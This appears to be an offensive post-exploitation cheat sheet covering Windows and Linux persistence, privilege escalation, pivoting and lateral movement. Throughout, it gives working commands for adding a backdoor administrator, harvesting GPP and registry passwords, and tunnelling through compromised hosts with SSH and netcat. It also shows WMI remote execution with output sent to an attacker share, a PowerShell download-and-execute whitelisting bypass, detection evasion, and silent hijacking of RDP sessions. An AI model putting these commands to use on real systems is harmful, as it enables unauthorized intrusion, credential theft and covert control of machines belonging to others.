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Post-Exploitation-Cheat-Sheet
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Post-Exploitation-Cheat-Sheet
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***********************************************************************************************
Persistence/backdooring/Privesc basics
***********************************************************************************************
[*] Windows env.:
Add user windows:
C:\Program Files>net user kmkz tatamaster /add
net user kmkz tatamaster /add
The command completed successfully.
C:\Program Files>net localgroup Administrators kmkz /add
net localgroup Administrators kmkz /add
The command completed successfully.
Find pass in GPP:
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Windows password value in reg.keys:
reg query HKLM /f password /t REG_SZ /s
Winlogon RegKey passwd research/access (psexec 4 privesc):
C:\xampp\webdav>reg query HKLM /f password /t REG_SZ /s
Find privesc exploit (via meterpreter) :
post/multi/recon/local_exploit_suggester
Recently typed "run" commands:
reg query x64 HKCU\software\microsoft\windows\currentversion\explorer\runmru
[*]Linux env.:
root file with RW perms:
find / -user root -perm -o+w -type f 2> /dev/null | grep -v /proc
Find privesc exploit (via meterpreter) :
post/multi/recon/local_exploit_suggester
***********************************************************************************************
Pivoting
***********************************************************************************************
Use "socks4a" as proxy to pivot (set proxyhain and/or brower proxy) in MSF
proxychains ssh -R 0.0.0.0:23:10.11.0.244:23 kmkz@10.1.1.224
-> Tunneling ssh (on set le lhost sur le serveur ssh, idem cot msf payload (stager requiert le meme lhost -> fwd sur ip attacker)
Port forwarding:
If a machine only is allowed to perform outbound connections on port 80 and we want to connect from this machine to another one located in a external network
to its RDP service, we can use a linux proxy with a port redirection software such as rinetd
vim /etc/rinetd.conf
bindaddress bindport TargetAddress connectport
Linux-Public-IP 80 Target-Machine-IP 3389
note: For windows platform: fpipe and winrelay
Reverse SSH Tunnel:
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 --> exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw mypassword 192.168.18.84 -R
SSH Dynamic Port Forwarding:
(on attacker machine) ssh -D 8000 root@owenedSSHserver.com
From here, we now are able to set a proxy that forwards all applications traffic through port 8000.
This allow us to attack the internal network from our attacking machine (using our tools) through the compromised SSH Server.
echo "socks4 127.0.0.1 8000" > /etc/proxychains.conf
Port forwading SSH (useful!)
on 127.0.0.1: ssh -L 4455:192.168.12.103:443 kmkz@192.168.1.55
access to 443 on 192.168.12.103 through 192.168.1.55 which is the GW (Browse 127.0.0.1:4455)
mknod backpipe p
RDP on 192.168.1.14 over HTTP from 192.168.1.253 (on pivot machine:192.168.1.253 to access 192.168.1.14)
nc -l -p 8080 0<backpipe | nc <IP_TARGET>3389 1>backpipe
***********************************************************************************************
Lateral Movement
***********************************************************************************************
Pwn the scope:
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials
example:
crackmapexec <protocol> <target(s)> -u username -p password
-> use cmedb to view stored datas
WMI:
wmic /node:127.0.0.1 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"127.0.0.1\"")
List sysaccount types:
wmic sysaccount list /format:list
Get logged-on users:
wmic /node:ordws01 path win32_loggedonuser get antecedent
From file:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
Authenticated RCE:
local: wmic /node:127.0.0.1 PROCESS CALL Create "cmd.exe /c net user >> C:/Temp/test"
remote with UNC output: wmic /node:@workstations.txt /user:[admin_for_rce] process call create "cmd.exe /c netstat -ano >> \\[YourIPaddr]\Temp\test"
Application whitelisting bypass for lateral movement:
wmic process get brief /format:"C:\Users\WMI\poc-wmic.xsl"
wmic process LIST /FORMAT:"\\127.0.0.1\c$\Users\WMI\poc-wmic.xsl"
Via proxy authentication:
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('192.168.13.37/test2.xsl') -outfile test2.xsl";$cmd="wmic os get /format:'test2.xsl'"; iex $cmd
Fudness:
WMI Class Derivation (Evasion) with no "win32" prefix:
$C = [WmiClass] '/root/cimv2:Win32_Process'
$N = $C.derive('MyEvilProcess')
$N.Put()
Invoke-WmiMethod MyEvilProcess -Name CrEaTe -ArgumentList calc.exe
WMI through PtH:
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1
** Lateral movement tip (01/2020):
Transparent RDP session hijacking using MS signed binary *only*, no session limit, no user interactions nor warnings (no patch for multi-session needed)**
[+] Prerequisites:
- Station or server that is part of an AD forest
- Windows >= 2012 to support shadow RDP
- Remote RPC registry key set to 1 (classical configuration on MS Env. do not panic... as classical as WinRM),
note that allowRemoteRPC key is located in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
+ Note that if "evil" user is D.A group member UAC is non effective EVEN if enforced on the target.
+ Documentation: https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows
[+] Steps to reproduce:
Get remote session ID you want to target using QWINSTA:
Doc: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/qwinsta
Command: qwinsta /server:(target ip addr)
RDP session hijacking without prompt and without kicking the active session using shadowing + noconsentprompt params:
Docs:
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn283323(v=ws.11)?redirectedfrom=MSDN
Command: mstsc /v:(target ip addr) /admin /noconsentPrompt /shadow:(collected session ID)